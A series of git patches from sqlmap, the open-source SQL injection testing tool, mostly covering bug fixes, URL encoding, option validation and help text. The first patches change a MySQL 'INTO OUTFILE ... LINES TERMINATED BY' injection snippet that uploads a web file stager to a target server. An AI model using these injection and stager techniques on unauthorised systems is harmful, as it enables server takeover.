a/lib/takeover/web.py b/lib/takeover/web.py index 33cf82dac..3cfc134f6 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -139,7 +139,7 @@ class Web: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) - query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery)) + query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", DUMPFILE=outFile, HEXSTRING=hexencode(uplQuery)) query = agent.prefixQuery(query) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) @@ -217,9 +217,9 @@ class Web: else: directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory - # Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique + # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE technique infoMsg = "trying to upload the file stager on '%s' " % directory - infoMsg += "via LIMIT INTO OUTFILE technique" + infoMsg += "via LIMIT INTO DUMPFILE technique" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) diff --git a/procs/mysql/write_file_limit.sql b/procs/mysql/write_file_limit.sql index 58fccab0a..fd403b8af 100644 --- a/procs/mysql/write_file_limit.sql +++ b/procs/mysql/write_file_limit.sql @@ -1 +1 @@ -LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- +LIMIT 0,1 INTO DUMPFILE '%DUMPFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- From 8091a88d3e6be0fb986b09fcb1a8bc862cf5ed02 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 21 Mar 2014 11:35:30 +0000 Subject: [PATCH 234/889] minor code cleanup and bug fix --- lib/takeover/web.py | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 3cfc134f6..ce6e5bc32 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -139,7 +139,7 @@ class Web: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) - query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", DUMPFILE=outFile, HEXSTRING=hexencode(uplQuery)) + query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery)) query = agent.prefixQuery(query) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) @@ -206,6 +206,8 @@ class Web: success = False for directory in directories: + self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) + if success: break @@ -219,15 +221,13 @@ class Web: # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE technique infoMsg = "trying to upload the file stager on '%s' " % directory - infoMsg += "via LIMIT INTO DUMPFILE technique" + infoMsg += "via LIMIT INTO 'LINES TERMINATED BY' technique" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) - self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) - debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) @@ -259,13 +259,9 @@ class Web: self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) - uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) - uplPage = uplPage or "" - for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) - self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) @@ -277,10 +273,10 @@ class Web: uploaded = True break + # Extra check - required if not uploaded: self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) - self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) From bc5c0ee4ae6c457380c9be590b4fdef23e75d276 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 21 Mar 2014 11:36:46 +0000 Subject: [PATCH 235/889] reverted previous commit, it must be OUTFILEP: LINES TERMINATED BY does not work with DUMPFILE --- procs/mysql/write_file_limit.sql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/procs/mysql/write_file_limit.sql b/procs/mysql/write_file_limit.sql index fd403b8af..51b37f97a 100644 --- a/procs/mysql/write_file_limit.sql +++ b/procs/mysql/write_file_limit.sql @@ -1 +1 @@ -LIMIT 0,1 INTO DUMPFILE '%DUMPFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- +LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING% From 9f838c3d5b724abad4ad8f380c618a0341371d0a Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 21 Mar 2014 11:37:34 +0000 Subject: [PATCH 236/889] typo fix --- lib/takeover/web.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index ce6e5bc32..d2b8376af 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -221,7 +221,7 @@ class Web: # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE technique infoMsg = "trying to upload the file stager on '%s' " % directory - infoMsg += "via LIMIT INTO 'LINES TERMINATED BY' technique" + infoMsg += "via LIMIT 'LINES TERMINATED BY' technique" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) From 276dab781b6f192a504124676c7777141525ea69 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 21 Mar 2014 11:50:12 +0000 Subject: [PATCH 237/889] forgot commend, mandatory --- procs/mysql/write_file_limit.sql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/procs/mysql/write_file_limit.sql b/procs/mysql/write_file_limit.sql index 51b37f97a..58fccab0a 100644 --- a/procs/mysql/write_file_limit.sql +++ b/procs/mysql/write_file_limit.sql @@ -1 +1 @@ -LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING% +LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- From 106102bd3c59eb0c56ec3361512a066326e91805 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 21 Mar 2014 20:28:16 +0100 Subject: [PATCH 238/889] Fix for an Issue #648 --- lib/controller/checks.py | 2 -- lib/core/option.py | 1 + lib/core/target.py | 14 +++++++++----- lib/request/connect.py | 15 ++++++--------- 4 files changed, 16 insertions(+), 16 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index da5deb47a..ffdcd19ae 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1210,8 +1210,6 @@ def checkConnection(suppressOutput=False): logger.info(infoMsg) try: - Request.queryPage(content=True, noteResponseTime=False) # dropping first page because it can be totally different than subsequent (e.g. WebGoat) before the Cookie is set up - page, _ = Request.queryPage(content=True, noteResponseTime=False) kb.originalPage = kb.pageTemplate = page diff --git a/lib/core/option.py b/lib/core/option.py index b7f59e216..72f26d762 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1672,6 +1672,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.permissionFlag = False kb.postHint = None kb.postSpaceToPlus = False + kb.postUrlEncode = True kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None diff --git a/lib/core/target.py b/lib/core/target.py index 997111aac..00bfeaab2 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -577,11 +577,15 @@ def initTargetEnv(): class _(unicode): pass - original = conf.data - conf.data = _(urldecode(conf.data)) - setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) - - kb.postSpaceToPlus = '+' in original + for key, value in conf.httpHeaders: + if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper(): + kb.postUrlEncode = "urlencoded" in value + break + if kb.postUrlEncode: + original = conf.data + conf.data = _(urldecode(conf.data)) + setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) + kb.postSpaceToPlus = '+' in original def setupTargetEnv(): _createTargetDirs() diff --git a/lib/request/connect.py b/lib/request/connect.py index a20cdb11e..8d9634c19 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -12,10 +12,9 @@ import re import socket import string import time +import traceback import urllib2 import urlparse -import time -import traceback from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent @@ -616,7 +615,6 @@ class Connect(object): pageLength = None uri = None code = None - urlEncodePost = None if not place: place = kb.injection.place or PLACE.GET @@ -630,10 +628,9 @@ class Connect(object): if conf.httpHeaders: headers = dict(conf.httpHeaders) contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) - urlEncodePost = contentType and "urlencoded" in contentType or contentType is None - if (kb.postHint or conf.skipUrlEncode) and urlEncodePost: - urlEncodePost = False + if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode: + kb.postUrlEncode = False conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) @@ -671,8 +668,8 @@ class Connect(object): value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be throughly URL encoded - if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and urlEncodePost: - payload = urlencode(payload, '%', False, place != PLACE.URI) + if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode: + payload = urlencode(payload, '%', False, place != PLACE.URI, place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode and kb.postSpaceToPlus) value = agent.replacePayload(value, payload) if conf.hpp: @@ -815,7 +812,7 @@ class Connect(object): if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) - elif urlEncodePost: + elif kb.postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) if timeBasedCompare: From f6e1d9e0260c1349846974ce42f9a13042d5c580 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 24 Mar 2014 10:46:23 +0100 Subject: [PATCH 239/889] Fix for an Issue #650 --- lib/core/settings.py | 3 +++ lib/utils/hashdb.py | 27 +++++++++++++++++++++++---- 2 files changed, 26 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f6f05ad4c..05edefa14 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -460,6 +460,9 @@ HASHDB_FLUSH_THRESHOLD = 32 # Number of retries for unsuccessful HashDB flush attempts HASHDB_FLUSH_RETRIES = 3 +# Number of retries for unsuccessful HashDB end transaction attempts +HASHDB_END_TRANSACTION_RETRIES = 3 + # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) HASHDB_MILESTONE_VALUE = "cAWxkLYCQT" # r5129 "".join(random.sample(string.ascii_letters, 10)) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 9a29615cb..f0aa783f2 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -16,6 +16,7 @@ from lib.core.common import serializeObject from lib.core.common import unserializeObject from lib.core.data import logger from lib.core.exception import SqlmapDataException +from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES from lib.core.settings import HASHDB_FLUSH_RETRIES from lib.core.settings import HASHDB_FLUSH_THRESHOLD from lib.core.settings import UNICODE_ENCODING @@ -43,7 +44,11 @@ class HashDB(object): return threadData.hashDBCursor - cursor = property(_get_cursor) + def _set_cursor(self, cursor): + threadData = getCurrentThreadData() + threadData.hashDBCursor = cursor + + cursor = property(_get_cursor, _set_cursor) def close(self): threadData = getCurrentThreadData() @@ -134,15 +139,29 @@ class HashDB(object): def beginTransaction(self): threadData = getCurrentThreadData() if not threadData.inTransaction: - self.cursor.execute('BEGIN TRANSACTION') + self.cursor.execute("BEGIN TRANSACTION") threadData.inTransaction = True def endTransaction(self): threadData = getCurrentThreadData() if threadData.inTransaction: + retries = 0 + while retries < HASHDB_END_TRANSACTION_RETRIES: + try: + self.cursor.execute("END TRANSACTION") + threadData.inTransaction = False + except sqlite3.OperationalError: + pass + else: + return + + retries += 1 + time.sleep(1) + try: - self.cursor.execute('END TRANSACTION') + self.cursor.execute("ROLLBACK TRANSACTION") except sqlite3.OperationalError: - pass + self.cursor.close() + self.cursor = None finally: threadData.inTransaction = False From 930c3e3c5a13527f9b4768b936106f2476b4e1f6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 25 Mar 2014 09:28:12 +0100 Subject: [PATCH 240/889] Minor update (added check for --limit and --risk) --- lib/core/option.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 72f26d762..cd8cd8fc1 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2020,12 +2020,12 @@ def _basicOptionValidation(): errMsg = "value for option '--stop' (limitStop) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) - if conf.level is not None and not (isinstance(conf.level, int) and conf.level > 0): - errMsg = "value for option '--level' must be an integer value greater than zero (>0)" + if conf.level is not None and not (isinstance(conf.level, int) and conf.level >= 1 and conf.level <= 5): + errMsg = "value for option '--level' must be an integer value from range [1, 5]" raise SqlmapSyntaxException(errMsg) - if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk > 0): - errMsg = "value for option '--risk' must be an integer value greater than zero (>0)" + if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk >= 1 and conf.risk <= 3): + errMsg = "value for option '--risk' must be an integer value from range [1, 3]" raise SqlmapSyntaxException(errMsg) if conf.limitStart is not None and isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ From 3710a7051bd499fcb0dd05ed702d69e92458c982 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 25 Mar 2014 21:26:22 +0100 Subject: [PATCH 241/889] Fix for an Issue #653 --- lib/core/option.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/core/option.py b/lib/core/option.py index cd8cd8fc1..5c458c2b1 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -242,6 +242,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): for match in reqResList: request = match if isinstance(match, basestring) else match.group(0) + request = re.sub(r"\A[^\w]+", "", request) schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) From e8c1c90f2eb6d1a396075f0ecd4ea791abee7255 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 25 Mar 2014 22:02:14 +0100 Subject: [PATCH 242/889] Whitespace was being double encoded in case of spaceplus (' '->%2B) --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 8d9634c19..4d220adc9 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -669,7 +669,7 @@ class Connect(object): else: # GET, POST, URI and Cookie payload needs to be throughly URL encoded if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode: - payload = urlencode(payload, '%', False, place != PLACE.URI, place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode and kb.postSpaceToPlus) + payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below value = agent.replacePayload(value, payload) if conf.hpp: From b2cc8f00ef629f827edcc213769169d35ecea014 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 28 Mar 2014 00:41:22 +0100 Subject: [PATCH 243/889] Bug fix (ORACLE_OLD on Windows - resulted in multiple entry per line output due to no locking used) --- lib/utils/hash.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 6db923d25..0c76bff5b 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -620,7 +620,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found found.value = True - elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0 or hash_regex == HASH.ORACLE_OLD or hash_regex == HASH.CRYPT_GENERIC and IS_WIN: + elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 From 76b9fad24a8dbb2e578219bc8d05aecf2c5f5709 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 30 Mar 2014 16:21:18 +0200 Subject: [PATCH 244/889] Fix for an Issue #656 --- lib/core/common.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 10eb6514b..420850bd5 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1484,7 +1484,12 @@ def safeStringFormat(format_, params): u'foobar12' """ - retVal = format_.replace("%d", "%s") + if format_.count(PAYLOAD_DELIMITER) == 2: + _ = format_.split(PAYLOAD_DELIMITER) + _[1] = _[1].replace("%d", "%s") + retVal = PAYLOAD_DELIMITER.join(_) + else: + retVal = format_.replace("%d", "%s") if isinstance(params, basestring): retVal = retVal.replace("%s", params, 1) From 3e024ac8e65cea8835ba96078f5f3bba4e3c0cba Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 30 Mar 2014 16:51:31 +0200 Subject: [PATCH 245/889] Minor update (consistency patch) --- lib/core/agent.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 90fdb80b4..ef63af51f 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -953,35 +953,35 @@ class Agent(object): return caseExpression - def addPayloadDelimiters(self, inpStr): + def addPayloadDelimiters(self, value): """ Adds payload delimiters around the input string """ - return "%s%s%s" % (PAYLOAD_DELIMITER, inpStr, PAYLOAD_DELIMITER) if inpStr else inpStr + return "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER) if value else value - def removePayloadDelimiters(self, inpStr): + def removePayloadDelimiters(self, value): """ Removes payload delimiters from inside the input string """ - return inpStr.replace(PAYLOAD_DELIMITER, '') if inpStr else inpStr + return value.replace(PAYLOAD_DELIMITER, '') if value else value - def extractPayload(self, inpStr): + def extractPayload(self, value): """ Extracts payload from inside of the input string """ _ = re.escape(PAYLOAD_DELIMITER) - return extractRegexResult("(?s)%s(?P.*?)%s" % (_, _), inpStr) + return extractRegexResult("(?s)%s(?P.*?)%s" % (_, _), value) - def replacePayload(self, inpStr, payload): + def replacePayload(self, value, payload): """ Replaces payload inside the input string with a given payload """ _ = re.escape(PAYLOAD_DELIMITER) - return re.sub("(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace("\\", r"\\"), inpStr) if inpStr else inpStr + return re.sub("(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value def runAsDBMSUser(self, query): if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query: From d8bacc904e2376d930fb2f2d900029ebd990812c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 1 Apr 2014 16:38:50 +0200 Subject: [PATCH 246/889] Minor language update --- lib/parse/cmdline.py | 28 ++++++++++++++-------------- sqlmap.conf | 8 ++++---- 2 files changed, 18 insertions(+), 18 deletions(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index e51ea64ee..473f86e72 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -53,18 +53,18 @@ def cmdLineParser(): # Target options target = OptionGroup(parser, "Target", "At least one of these " - "options has to be provided to set the target(s)") + "options has to be provided to define the target(s)") - target.add_option("-d", dest="direct", help="Direct " - "connection to the database") + target.add_option("-d", dest="direct", help="Connection string " + "for direct database connection") - target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"www.target.com/vuln.php?id=1\")") + target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") - target.add_option("-l", dest="logFile", help="Parse targets from Burp " - "or WebScarab proxy logs") + target.add_option("-l", dest="logFile", help="Parse target(s) from Burp " + "or WebScarab proxy log file") - target.add_option("-m", dest="bulkFile", help="Scan multiple targets enlisted " - "in a given textual file ") + target.add_option("-m", dest="bulkFile", help="Scan multiple targets given " + "in a textual file ") target.add_option("-r", dest="requestFile", help="Load HTTP request from a file") @@ -86,7 +86,7 @@ def cmdLineParser(): help="Character used for splitting parameter values") request.add_option("--cookie", dest="cookie", - help="HTTP Cookie header") + help="HTTP Cookie header value") request.add_option("--cookie-del", dest="cDel", help="Character used for splitting cookie values") @@ -99,17 +99,17 @@ def cmdLineParser(): help="Ignore Set-Cookie header from response") request.add_option("--user-agent", dest="agent", - help="HTTP User-Agent header") + help="HTTP User-Agent header value") request.add_option("--random-agent", dest="randomAgent", action="store_true", - help="Use randomly selected HTTP User-Agent header") + help="Use randomly selected HTTP User-Agent header value") request.add_option("--host", dest="host", - help="HTTP Host header") + help="HTTP Host header value") request.add_option("--referer", dest="referer", - help="HTTP Referer header") + help="HTTP Referer header value") request.add_option("--headers", dest="headers", help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") @@ -182,7 +182,7 @@ def cmdLineParser(): request.add_option("--hpp", dest="hpp", action="store_true", - help="Use HTTP parameter pollution") + help="Use HTTP parameter pollution method") request.add_option("--eval", dest="evalCode", help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") diff --git a/sqlmap.conf b/sqlmap.conf index 974313b2d..3f1288480 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -42,7 +42,7 @@ data = # Character used for splitting parameter values pDel = -# HTTP Cookie header. +# HTTP Cookie header value. cookie = # Character used for splitting cookie values @@ -55,16 +55,16 @@ loadCookies = # Valid: True or False dropSetCookie = False -# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value +# HTTP User-Agent header value. Useful to fake the HTTP User-Agent header value # at each HTTP request # sqlmap will also test for SQL injection on the HTTP User-Agent value. agent = -# Use randomly selected HTTP User-Agent header +# Use randomly selected HTTP User-Agent header value # Valid: True or False randomAgent = False -# HTTP Host header. +# HTTP Host header value. host = # HTTP Referer header. Useful to fake the HTTP Referer header value at From 80d4426dbd627ed3e61c158e58455eda19f4426d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 2 Apr 2014 22:34:37 +0200 Subject: [PATCH 247/889] Patch related to the Issue #661 --- lib/request/inject.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/inject.py b/lib/request/inject.py index 110c8cc13..ff6b72349 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -421,7 +421,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.safeCharEncode = False - if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler: + if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' or switch '--hex'" singleTimeWarnMessage(warnMsg) From e7e8a3965a859096878741350fcc312a48f86f9c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 3 Apr 2014 09:00:14 +0200 Subject: [PATCH 248/889] Minor fix --- lib/request/direct.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/request/direct.py b/lib/request/direct.py index fa7553207..86cc73ba7 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -33,7 +33,7 @@ def direct(query, content=True): query = agent.adjustLateValues(query) threadData = getCurrentThreadData() - if Backend.isDbms(DBMS.ORACLE) and query.startswith("SELECT ") and " FROM " not in query: + if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper(): query = "%s FROM DUAL" % query for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): @@ -50,7 +50,7 @@ def direct(query, content=True): output = hashDBRetrieve(query, True, True) start = time.time() - if not select and "EXEC " not in query: + if not select and "EXEC " not in query.upper(): _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query): output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) From 1632bec10b68d2d3e200b0ff976224a7771370a4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 3 Apr 2014 09:05:12 +0200 Subject: [PATCH 249/889] Another fix related to the last commit --- lib/core/agent.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index ef63af51f..11abd2870 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -44,10 +44,10 @@ class Agent(object): def payloadDirect(self, query): query = self.cleanupPayload(query) - if query.startswith("AND "): - query = query.replace("AND ", "SELECT ", 1) - elif query.startswith(" UNION ALL "): - query = query.replace(" UNION ALL ", "", 1) + if query.upper().startswith("AND "): + query = re.sub(r"(?i)AND ", "SELECT ", query, 1) + elif query.upper().startswith(" UNION ALL "): + query = re.sub(r"(?i) UNION ALL ", "", query, 1) elif query.startswith("; "): query = query.replace("; ", "", 1) From 15f92c41977660562e890d851f10495f91295673 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 3 Apr 2014 09:46:37 +0200 Subject: [PATCH 250/889] Bug fix (port was not being used properly with Burp exported history) --- lib/core/option.py | 11 ++++++++++- lib/core/settings.py | 2 +- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 5c458c2b1..514ce5a8e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -234,7 +234,16 @@ def _feedTargetsDict(reqFile, addedTargetUrls): if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): - reqResList = [_.decode("base64") for _ in re.findall(BURP_XML_HISTORY_REGEX, content, re.I | re.S)] + reqResList = [] + for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): + port, request = match.groups() + request = request.decode("base64") + _ = re.search(r"%s:.+" % HTTP_HEADER.HOST, request) + if _: + host = _.group(0).strip() + if not re.search(r":\d+\Z", host): + request = request.replace(host, "%s:%d" % (host, int(port))) + reqResList.append(request) else: reqResList = [content] else: diff --git a/lib/core/settings.py b/lib/core/settings.py index 05edefa14..14cc72c85 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -266,7 +266,7 @@ WEBSCARAB_SPLITTER = "### Conversation" BURP_REQUEST_REGEX = r"={10,}\s+[^=]+={10,}\s(.+?)\s={10,}" # Regex used for parsing XML Burp saved history items -BURP_XML_HISTORY_REGEX = r'(\d+).+? Date: Fri, 4 Apr 2014 16:14:53 +0200 Subject: [PATCH 251/889] Minor fix --- lib/request/basic.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index 4f9d854f6..d6ca0db2e 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -94,7 +94,7 @@ def forgeHeaders(items=None): kb.mergeCookies = not _ or _[0] in ("y", "Y") if kb.mergeCookies: - _ = lambda x: re.sub("(?i)%s=[^%s]+" % (cookie.name, conf.cDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, cookie.value), x) + _ = lambda x: re.sub("(?i)%s=[^%s]+" % (cookie.name, conf.cDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), x) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: @@ -103,7 +103,7 @@ def forgeHeaders(items=None): conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders] elif not kb.testMode: - headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cDel or DEFAULT_COOKIE_DELIMITER, cookie.name, cookie.value) + headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cDel or DEFAULT_COOKIE_DELIMITER, cookie.name, getUnicode(cookie.value)) if kb.testMode: resetCookieJar(conf.cj) From 1b3a98b8ef4f9de8359046c338ced8e6df075009 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 6 Apr 2014 13:42:15 +0200 Subject: [PATCH 252/889] Trivial update (for consistency sake) --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git 